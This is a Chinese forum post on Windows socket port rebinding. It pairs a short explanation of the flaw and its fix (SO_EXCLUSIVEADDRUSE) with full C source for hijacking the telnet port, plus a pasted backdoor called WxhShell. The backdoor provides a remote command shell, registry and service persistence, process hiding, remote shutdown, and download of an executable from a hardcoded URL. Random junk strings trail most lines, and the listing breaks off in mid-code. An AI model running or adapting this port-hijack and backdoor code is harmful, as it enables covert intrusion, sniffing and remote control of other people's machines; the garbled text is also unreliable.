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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ioJr2wq6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A7=k 9|  
<K  GYwLk  
  saddr.sin_family = AF_INET; ##|]el%Y  
aF%V  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f'%Pkk  
!7jVKI80  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dI) 9@UL  
X^9eCj;c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &M*f4PeXb  
\2VYDBi?|  
  这意味着什么?意味着可以进行如下的攻击: ysFp`  
[WW ~SOJe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .lyK ,p  
ZOY zCc(d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w[Q)b()  
(V9 ;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b?nORWjC  
^2-t|E=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t$-!1jq  
2^4OaHY88  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )l[bu6bM  
g0>Q* x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i;mA|  
H?tX^HO:q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .+$ox-EK8  
H/N4t Wk"  
  #include 5:|=/X%#qp  
  #include ~9DD=5\  
  #include SCo;Ek  
  #include    (.N!(;G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EiCEB;*z|d  
  int main() >S'IrnH'!  
  { S0mzDLgE  
  WORD wVersionRequested; ^!sIEL  
  DWORD ret; .vWwYG  
  WSADATA wsaData; 5Sz}gP('  
  BOOL val;  95l)w  
  SOCKADDR_IN saddr; 9#b/D&pX5  
  SOCKADDR_IN scaddr; ^b^}6L'Z  
  int err; ]1&} L^a  
  SOCKET s; _q=ua;I&  
  SOCKET sc; p}K.-S`MQ  
  int caddsize; +wxDK A_  
  HANDLE mt; (qdvvu#E  
  DWORD tid;   LGT?/ gup  
  wVersionRequested = MAKEWORD( 2, 2 ); 'ocPG.PaU  
  err = WSAStartup( wVersionRequested, &wsaData ); = ow=3Ku  
  if ( err != 0 ) { lL"ANlX-P  
  printf("error!WSAStartup failed!\n"); ki'CW4x  
  return -1; !8OgaMngzF  
  } }) Zcw1g  
  saddr.sin_family = AF_INET; zLybf:#  
   *I9O+/,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dq^vK  
+a0` ,Jc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *=zv:!  
  saddr.sin_port = htons(23); jzd)jJ0M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,yH\nqEz  
  { 'T(@5%Db  
  printf("error!socket failed!\n"); !Z<=PdI1Ys  
  return -1; i6)HC  
  } {B[ }}wX$  
  val = TRUE; Nx=rw h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]_43U` [#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~Aw.=Yi=  
  { OZ, Xu&N  
  printf("error!setsockopt failed!\n"); AA<QI'6  
  return -1; JasA w7  
  } ]-cSTtO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DIF-%X5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !!d?o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DTvCx6:!  
#eIFRNRb)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r$W%d[pB  
  { /X%+z5  
  ret=GetLastError(); OTzuOP 8  
  printf("error!bind failed!\n"); -;*lcY*  
  return -1; y~^-I5!_ u  
  } $rm/{i_7  
  listen(s,2); D|$Fw5!^k6  
  while(1) KZ@'NnQ  
  { n}/4em?  
  caddsize = sizeof(scaddr); M< /  
  //接受连接请求 tn}MKo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .zv BV_I  
  if(sc!=INVALID_SOCKET) 8p_6RvG  
  { 9J$-E4G.M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zD;k|"e  
  if(mt==NULL) uR6 `@F  
  { lRR A2Kql  
  printf("Thread Creat Failed!\n"); <nc6 &+  
  break; vwAtX($  
  } Q) =LbR{#  
  } L}6!D zl  
  CloseHandle(mt); *USG p<iH  
  } fwNj@fl_,e  
  closesocket(s); 0+F--E4  
  WSACleanup(); !<?<f db  
  return 0; <.&84c]/&  
  }   ?!y<%&U  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;OZl' . %`  
  { \3`r/,wY  
  SOCKET ss = (SOCKET)lpParam; 33g$mUB  
  SOCKET sc; Lg{M<Q)4  
  unsigned char buf[4096]; }:57Ym)7w  
  SOCKADDR_IN saddr; 7 j6<  
  long num; B>g(i=E  
  DWORD val; wSi$.C2  
  DWORD ret; |Wr$5r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )+|Y;zC9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FG^lh  
  saddr.sin_family = AF_INET; sE&1ZJ]7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HI7w@V8Ed  
  saddr.sin_port = htons(23); -5JN`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ["[v  
  { )]kxLf#  
  printf("error!socket failed!\n"); "SRS{-p0  
  return -1; 9BAvE\o0  
  } 8N \<o7t%  
  val = 100; i` Q&5KL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;8a9S0eS  
  { T^vhhfCUr  
  ret = GetLastError(); ;GIA`=a %  
  return -1; w[C*w\A\M  
  } E+lr{~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jv}&8D  
  { 51Vqbtj^  
  ret = GetLastError(); f-p$4%(  
  return -1; -iKoQkHt  
  } _ s*p$/V\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .><-XJ  
  { -Aojk8tc  
  printf("error!socket connect failed!\n"); +lb&_eD  
  closesocket(sc); %%N T m  
  closesocket(ss); !o1IpTN  
  return -1; Ft?eqDS1  
  } )/)[}wN;j  
  while(1) `jSegG'  
  { `][vaLd`Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %z=:P{0UQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ka6E s~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %-a;HGbZn  
  num = recv(ss,buf,4096,0); t+_\^Oa)  
  if(num>0) <ZheWl  
  send(sc,buf,num,0); hz*T"HJ]t  
  else if(num==0) lv9Tq5C  
  break; `So/G  
  num = recv(sc,buf,4096,0); +(PUiiP'"v  
  if(num>0) h8X[*Wme  
  send(ss,buf,num,0); XwFTAaZ  
  else if(num==0) .]s? 01Z  
  break; b $yIM  
  } 8d_J9Ho  
  closesocket(ss); >lKu[nq;  
  closesocket(sc); I=:"Fqj'N  
  return 0 ; V:>r6  
  } qoOwR[NDcq  
7'"qW"<  
;0Q" [[J  
========================================================== L]8z6]j*  
`+rwx  
下边附上一个代码,,WXhSHELL 6 &0r/r  
I;-Y2*  
========================================================== @6|<c  
9cHo~F|ur  
#include "stdafx.h" K1^7v}P  
~TsRUT  
#include <stdio.h> lg8@^Pm$r;  
#include <string.h> wU>Fz*  
#include <windows.h> 3}!u8,P  
#include <winsock2.h> df$.gP  
#include <winsvc.h> "[!b5f3!I  
#include <urlmon.h> s .<.6t:G4  
Z|Oq7wzEH  
#pragma comment (lib, "Ws2_32.lib") $y&W:  
#pragma comment (lib, "urlmon.lib") 5a'`%b{{  
n1{[CCee@  
#define MAX_USER   100 // 最大客户端连接数 ,h*N9}xYTi  
#define BUF_SOCK   200 // sock buffer =\|,hg)c  
#define KEY_BUFF   255 // 输入 buffer 0FtwDM))  
c8YbBdk'  
#define REBOOT     0   // 重启 h x&"fe  
#define SHUTDOWN   1   // 关机 n@xQ-v  
M:GpyE%  
#define DEF_PORT   5000 // 监听端口 f)j*P<V  
`WN80d\)&  
#define REG_LEN     16   // 注册表键长度 NLY=o@<  
#define SVC_LEN     80   // NT服务名长度 :CW^$Zvq  
A5J41yH  
// 从dll定义API v}N\z2A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |(Mxbprz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {'tfU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [U/h'A.j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'E9{qPLk(  
x<M::")5!V  
// wxhshell配置信息 wpuK?fP  
struct WSCFG { ^;<d<V}*  
  int ws_port;         // 监听端口 N-?5[T"  
  char ws_passstr[REG_LEN]; // 口令 %K4M`R|2]  
  int ws_autoins;       // 安装标记, 1=yes 0=no R|$AcNp  
  char ws_regname[REG_LEN]; // 注册表键名 p|.5;)%|  
  char ws_svcname[REG_LEN]; // 服务名 Jh0Grq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 " Q?~LB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wR@>U.XT@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  Q&xH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c>K]$;}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E&zf<Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #jW-&a  
I2WP/  
}; cJaA*sg  
k:Y\i]#yP  
// default Wxhshell configuration O^`EuaL  
struct WSCFG wscfg={DEF_PORT, 0S$k;q  
    "xuhuanlingzhe", ];hqI O#nM  
    1, TLVsTM8 P  
    "Wxhshell", t&?{+?p: 9  
    "Wxhshell", /]3[|  
            "WxhShell Service", QR#>Ws  
    "Wrsky Windows CmdShell Service", K~vJ/9"|R  
    "Please Input Your Password: ", e' o2PW  
  1, `6)Qi*Z  
  "http://www.wrsky.com/wxhshell.exe", %S;AM\o4  
  "Wxhshell.exe" IZj`*M%3  
    }; olv?$]  
iW(LD1~7  
// 消息定义模块 `!Z?F]):G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <`uu e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |Q 3d7y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &L$9Ii  
char *msg_ws_ext="\n\rExit."; ZI!:  
char *msg_ws_end="\n\rQuit."; }6%XiP|  
char *msg_ws_boot="\n\rReboot..."; xj;:B( i  
char *msg_ws_poff="\n\rShutdown..."; K<*6E@+i  
char *msg_ws_down="\n\rSave to "; aE5-b ub c  
kZz'&xdv'.  
char *msg_ws_err="\n\rErr!"; {WrEe7dLy  
char *msg_ws_ok="\n\rOK!"; XQ}J4J~Vm  
rgzra"u)  
char ExeFile[MAX_PATH]; NplyvjQN;  
int nUser = 0; &M}X$k I  
HANDLE handles[MAX_USER]; ?'TK~,dG/  
int OsIsNt; isL zgN%  
q7Hf7^a  
SERVICE_STATUS       serviceStatus; _x<NGIz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g77M5(ME  
sQ#e 2  
// 函数声明 = 0d|F 8  
int Install(void); S4_/%~?  
int Uninstall(void); Fn@`Bi?#q  
int DownloadFile(char *sURL, SOCKET wsh); d j\Z}[  
int Boot(int flag); XYzaSp=bb  
void HideProc(void); lf7bx}P*  
int GetOsVer(void); F)hj\aHm k  
int Wxhshell(SOCKET wsl); \t7yH]:>@  
void TalkWithClient(void *cs); !6'N-b1  
int CmdShell(SOCKET sock); Dhn7N8(LF!  
int StartFromService(void); 4-.K<-T%D  
int StartWxhshell(LPSTR lpCmdLine); b!@PS$BTxq  
^7spXfSAd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a{T.U-0   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &|Duc} t  
?"9h-g3`x}  
// 数据结构和表定义 TM(y%!\  
SERVICE_TABLE_ENTRY DispatchTable[] = -_ I)5*N  
{ D8wf`RUt  
{wscfg.ws_svcname, NTServiceMain}, C12UZE;  
{NULL, NULL} ae sk.  
}; a ~v$ bNu  
R7Y_ 7@p  
// 自我安装 :>fT=$i@  
int Install(void) OKMdyyO<l  
{ sr6 BC.  
  char svExeFile[MAX_PATH]; ;n Bf  
  HKEY key; Wn=sF,c  
  strcpy(svExeFile,ExeFile); c9-$^yno  
<l5i%?  
// 如果是win9x系统,修改注册表设为自启动 =tP9n;D  
if(!OsIsNt) { nv:Qd\UM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v]V N'Hs?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k\#;  
  RegCloseKey(key); RJWO h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w1)TnGT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2L](4Q[M  
  RegCloseKey(key); GM%OO)dO}  
  return 0; y8~OkdlN#  
    } SCcvU4`o  
  } GJ*IH9YR  
} tS2 &S 6u  
else { (I}owr5:  
eK:?~BI!  
// 如果是NT以上系统,安装为系统服务 #-'`Yb w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,-e}X w9  
if (schSCManager!=0) GGuU(sL*  
{ py'vD3Q  
  SC_HANDLE schService = CreateService Gw<D'b)!  
  ( !l $d^y345  
  schSCManager, w{W+WJ  
  wscfg.ws_svcname, P5<9;PPbZ  
  wscfg.ws_svcdisp, A O:F*%Q u  
  SERVICE_ALL_ACCESS, c#N4XsG,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lr>NG,N  
  SERVICE_AUTO_START, f(|k0$EIu  
  SERVICE_ERROR_NORMAL, [ey# ,&T  
  svExeFile,  `M I;.t  
  NULL, uB  I/3aQ  
  NULL, g{]6*`/Z  
  NULL, "u^Erj# /  
  NULL, Nu"v .]Y2  
  NULL |eu8;~A  
  ); ytIPY7E  
  if (schService!=0) oVpZR$  
  { WoZU} T-  
  CloseServiceHandle(schService); ;W?#l$R  
  CloseServiceHandle(schSCManager); RK!9(^Ja  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0V~zZ/e  
  strcat(svExeFile,wscfg.ws_svcname); 64?HqO 6(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S.!,qv z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .2E/(VM  
  RegCloseKey(key); 0zH-g  
  return 0; R2Tt6  
    } ^!\1q<@n  
  } #"UO`2~`l  
  CloseServiceHandle(schSCManager); wG,"X'1  
} MR1I"gqE}I  
} ;|Mfq` s  
WA (x]""  
return 1; y47N(;vy  
} \V$qAfP)  
_Xd"'cXw  
// 自我卸载 \}jA1oy  
int Uninstall(void) A]|w1nq  
{ O-V|=t  
  HKEY key; DPT6]pl"y  
sq2:yt  
if(!OsIsNt) { /2Wg=&H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `7=$I~`  
  RegDeleteValue(key,wscfg.ws_regname); ,JZ>)(@)  
  RegCloseKey(key); AO7[SHDZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rE m/Q!  
  RegDeleteValue(key,wscfg.ws_regname); oy8jc];SO  
  RegCloseKey(key); `> %QCc\  
  return 0; Q7aPW\-  
  } Jo { :]:  
} \|0z:R;X  
} ?/o 8f7Z  
else { w,p'$WC*  
R&Lqaek&W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mWv$eR  
if (schSCManager!=0) E]mm^i`|  
{ |cU75 S1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C<D$Y,[w  
  if (schService!=0) o`iA&  
  { gq?7O<  
  if(DeleteService(schService)!=0) { fd )v{OC  
  CloseServiceHandle(schService); G`FYEmD  
  CloseServiceHandle(schSCManager); I}_}VSG(  
  return 0; p]mN)  
  } {mJ' Lb0;  
  CloseServiceHandle(schService); kkjugm{D7  
  } 2=_$&oT**  
  CloseServiceHandle(schSCManager); EHC7b^|3}  
} 6B?jc/V.R  
} N9!L8BBaK  
VM%g QOo<  
return 1; =de'Yy:\-  
} 8ao-]QoMZ  
XkA] 9,@  
// 从指定url下载文件 r? /Uu &  
int DownloadFile(char *sURL, SOCKET wsh) {U;yW)  
{ u!K1K3T6k  
  HRESULT hr; FoetP`   
char seps[]= "/"; 01'>[h#_n  
char *token; MDlH[PJ@i  
char *file; M.Yp'Av  
char myURL[MAX_PATH]; W0f^!}f(  
char myFILE[MAX_PATH]; I> ;{BYPV  
;eYG\uKC{  
strcpy(myURL,sURL); iN&oSpQ  
  token=strtok(myURL,seps); vaB ql(?'2  
  while(token!=NULL) 4 . 7X*1  
  { "9_$7.q<y  
    file=token; 3:iEt (iCI  
  token=strtok(NULL,seps); S"&Gutu3o  
  } >`AK'K8{M  
PuJ3#H T  
GetCurrentDirectory(MAX_PATH,myFILE); #Nh'1@@  
strcat(myFILE, "\\"); EnWv9I<  
strcat(myFILE, file); )95k3xo  
  send(wsh,myFILE,strlen(myFILE),0); q\@Zf}  
send(wsh,"...",3,0); ]VjvG};  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `E$vWZq}  
  if(hr==S_OK) dx@dnWRT,  
return 0; &G"s !:  
else /0/ouA>+  
return 1; PZ|I3z  
_^& q,S  
} =Ydrct  
!'N@ZZ  
// 系统电源模块 5?^#v  
int Boot(int flag) r]!#v{#.  
{ D"pT?\kO  
  HANDLE hToken; z6R|1L 1  
  TOKEN_PRIVILEGES tkp; p-i Fe\+  
_{jC?rzb  
  if(OsIsNt) { Z^>4qf,k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (X "J)x aQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hP)Zm%@0f  
    tkp.PrivilegeCount = 1; C][$0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fB+h( 2N~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -~]H5er`  
if(flag==REBOOT) { Mc,|C)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O.+J%],  
  return 0; ZPH_s^  
} 2p&$bf t  
else { @*y4uI6&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [`@M!G.  
  return 0; 7su2A>Ix  
} r.e K;  
  } dcY(1p)  
  else { D\THe-Vtr  
if(flag==REBOOT) { zpwoK&T+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {d.z/Buu  
  return 0; KVOV<uDCj  
} m#UQ,EM  
else { Pdf-2 Tx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~LuGfPO^  
  return 0; 6=/sEzS'  
} J3mLjYy  
} J]U_A/f  
vqN/crJ@  
return 1; DP @1to@  
} HF FG4'  
DT`HS/~fH  
// win9x进程隐藏模块 ;}SGJ7  
void HideProc(void) n0lOq  
{ Ca'BE#q  
~pZ0B#K J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &{? M} 2I  
  if ( hKernel != NULL ) sbmtx/%U  
  { +bE{g@%@ +  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %4LoEm=U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KyNu8s k  
    FreeLibrary(hKernel); K[icVT2v~  
  } + Tp% *  
lMFo)4&P  
return; K? o p3}f?  
} L ?/AKg  
S=,czs3N  
// 获取操作系统版本 l6bY!I>  
int GetOsVer(void) EsKgS\`RZ  
{ hV(^Y)f  
  OSVERSIONINFO winfo; Z;G*wM"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F- -g?Q^  
  GetVersionEx(&winfo); D>y5&`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @/ ^< 9  
  return 1; Zye04&x9k  
  else B{)#A?Rh.  
  return 0; >T]9.`xhK  
} 08xo_Oysq  
?XY'<]o E  
// 客户端句柄模块 KdkL_GSLT  
int Wxhshell(SOCKET wsl) U3N d\b'0  
{ 7<)H?;~;  
  SOCKET wsh; z0rYzn?MR  
  struct sockaddr_in client; cjN)3L{  
  DWORD myID; LL e*| :  
p/ (Z2N"  
  while(nUser<MAX_USER) { YQS fk  
{ r2SZC`Z}-M  
  int nSize=sizeof(client); {Phq39g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2VY7?1Ab(@  
  if(wsh==INVALID_SOCKET) return 1; :4zu.  
}B'-*)^|e{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %/uLyCUZ  
if(handles[nUser]==0) Kzn1ct{65!  
  closesocket(wsh); )!-gT  
else ]_(hUj._  
  nUser++; W!<7OA g$  
  } C_N|o|dX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z 01A~_  
O4X03fUx  
  return 0; gbzBweWF  
} sY!JB7!j  
Ypzmc$Xfu  
// 关闭 socket F{jxs/~  
void CloseIt(SOCKET wsh) J+t51B(a  
{ O(I^:_eH  
closesocket(wsh); Xr K29a  
nUser--; 4 *}H3-`  
ExitThread(0); ?L0;, \-t  
} T */I4"  
r{.pXf  
// 客户端请求句柄 j;.P  
void TalkWithClient(void *cs) B}TY+@  
{ ;\w3IAa|V  
 b+a+OI D  
  SOCKET wsh=(SOCKET)cs; k{mBG9[z  
  char pwd[SVC_LEN]; 3*I\#Z4p1  
  char cmd[KEY_BUFF]; T!]rdN!  
char chr[1]; 2vpQ"e- A  
int i,j; RK.lz VaY  
iz=cjmV?  
  while (nUser < MAX_USER) { '/<\X{l8  
"a2|WKpD  
if(wscfg.ws_passstr) { 4vbGXb}!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lOcFF0'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8?82 p  
  //ZeroMemory(pwd,KEY_BUFF); HK :K~h  
      i=0; lPR^~&/  
  while(i<SVC_LEN) { kFE9}0-   
*{VC<<`  
  // 设置超时 cRs.@U\{R\  
  fd_set FdRead; </;e$fh`  
  struct timeval TimeOut; .hH_1Mo8  
  FD_ZERO(&FdRead); AM=,:k$  
  FD_SET(wsh,&FdRead); )ItABl[{  
  TimeOut.tv_sec=8; [ifw}(  
  TimeOut.tv_usec=0; 0JtM|Mg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DU6j0lz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LN+x!#:e  
*KNfPh#wi}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9~`#aQG T  
  pwd=chr[0]; xwo *kFg  
  if(chr[0]==0xd || chr[0]==0xa) { wKi#5k2  
  pwd=0; ^S`hKv&87  
  break; 2n3&uvf'TL  
  } f5F-h0HF`[  
  i++; bz>\n"'  
    } K W&muD  
HsTY*^V  
  // 如果是非法用户,关闭 socket R=.?el  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =)Hu(;Yv  
} nam]eW  
Jw5@#j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oo;<I_#07  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \bT0\ (Js\  
}*bp4<|  
while(1) { EeMKo  
W#U|;@"  
  ZeroMemory(cmd,KEY_BUFF); kk`K;`[tB  
LT$t%V0?.e  
      // 自动支持客户端 telnet标准   E] g Lwg9K  
  j=0; B Evt{q4  
  while(j<KEY_BUFF) { Njg87tKB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mTsyVji8  
  cmd[j]=chr[0]; k~AtnI  
  if(chr[0]==0xa || chr[0]==0xd) { i ZPNss  
  cmd[j]=0; F_0D)H)N@  
  break; h;vY=r-  
  } 0V-jOc  
  j++; odca?  
    } jR}EBaI}  
Psf'^42(v  
  // 下载文件 $,:mq>]![{  
  if(strstr(cmd,"http://")) { ^f>c_[fR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )U|V|yem'  
  if(DownloadFile(cmd,wsh)) W5'6L =WG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ws5N|g  
  else m lc8q s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7~J>Ga  
  } kntY2FM  
  else { J>#hu3&UOQ  
~x(|'`  
    switch(cmd[0]) { 4z P"h0  
  :%9R&p:'ar  
  // 帮助 P7W|e~]Yq  
  case '?': { ?,7!kTRH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Es#:0KH].v  
    break; '^m'r+B"  
  } vfn[&WN]  
  // 安装 FVkl# Qy~  
  case 'i': { 5uG^`H@X  
    if(Install()) Ns YEBT7f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P9m  
    else a$?d_BX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\<,}x}V  
    break; ma-GvWD2  
    } s@&3;{F6D  
  // 卸载 VDOC>  
  case 'r': { Cxq |N]E  
    if(Uninstall()) tvf.K+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wz3X;1l`c  
    else JAKs [@:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3mofp`e  
    break; nygGI_[l  
    } HD#>K 7  
  // 显示 wxhshell 所在路径 ;39a`  
  case 'p': { &8f/6dq  
    char svExeFile[MAX_PATH]; h-"q <eY"  
    strcpy(svExeFile,"\n\r"); *=B<S/0  
      strcat(svExeFile,ExeFile); e.L&A|  
        send(wsh,svExeFile,strlen(svExeFile),0); 4Ia'Yr  
    break; ,<+:xl   
    } } l+_KA  
  // 重启 |LJv*  
  case 'b': { @TW:6v`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v&G9HiH  
    if(Boot(REBOOT)) clyp0`,7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,7cw%mQA  
    else { Zs t)S(  
    closesocket(wsh); l'[;q '  
    ExitThread(0); cQLPgE0  
    } >QJDO ]~V  
    break; H0tu3Pqk  
    } a ub$4n!C9  
  // 关机 1P*GIt2L  
  case 'd': { &+02Sn3A  
